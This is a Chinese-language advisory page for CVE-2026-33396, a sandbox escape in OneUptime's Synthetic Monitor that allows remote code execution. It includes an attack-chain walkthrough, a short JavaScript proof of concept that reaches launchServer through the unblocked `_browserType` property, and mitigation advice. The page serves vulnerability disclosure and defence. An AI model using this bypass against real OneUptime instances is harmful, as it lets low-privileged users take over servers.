IPBUF安全漏洞报告
English
CVE-2026-33396 CVSS 9.9 严重

CVE-2026-33396 OneUptime 远程代码执行漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33396
漏洞类型
远程代码执行
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OneUptime

相关标签

远程代码执行OneUptimeSandbox EscapePlaywrightRCECVE-2026-33396

漏洞概述

OneUptime在10.0.35版本之前的Synthetic Monitor功能中存在沙箱绕过漏洞。低权限认证用户可利用Playwright脚本执行机制,通过访问未受限制的`_browserType`和`launchServer`属性,在Probe容器或主机上实现远程命令执行。

技术细节

该漏洞的核心在于OneUptime Synthetic Monitor代码执行的沙箱机制存在缺陷。沙箱采用基于拒绝列表的策略来阻止危险属性和方法,但该列表不完整,遗漏了`_browserType`和`launchServer`。攻击者作为ProjectMember权限的用户,可以提交特制的Playwright脚本。通过调用链`page.context().browser()._browserType.launchServer(...)`,攻击者可以绕过沙箱限制,生成任意进程。这使得攻击者能够在运行Probe服务的底层容器或宿主机上执行任意系统命令,导致服务器被完全控制。

攻击链分析

STEP 1
步骤1
攻击者注册或获取OneUptime平台的低权限账户(ProjectMember角色)。
STEP 2
步骤2
攻击者访问Synthetic Monitor功能,创建一个新的监控任务并输入恶意的Playwright脚本代码。
STEP 3
步骤3
服务器端接收脚本并在Probe容器中执行。脚本利用`page.context().browser()._browserType.launchServer(...)`绕过沙箱限制。
STEP 4
步骤4
攻击者成功在Probe容器或宿主机上生成任意进程,实现远程代码执行(RCE)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-33396 // Exploits incomplete denylist in OneUptime Synthetic Monitor // Requires ProjectMember privileges async function exploit() { // The context provides a live Playwright page object const page = global.page; // Bypass the sandbox by accessing the internal browser type // The denylist failed to block '_browserType' and 'launchServer' const browserType = page.context().browser()._browserType; // Spawn an arbitrary process on the host/container // Example: Launching a server or executing a command await browserType.launchServer({ args: ['--no-sandbox', 'touch', '/tmp/pwned'] }); } exploit();

影响范围

OneUptime < 10.0.35

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用Synthetic Monitor功能,或严格限制ProjectMember角色创建和执行自定义监控脚本的能力,以防止利用该漏洞进行攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表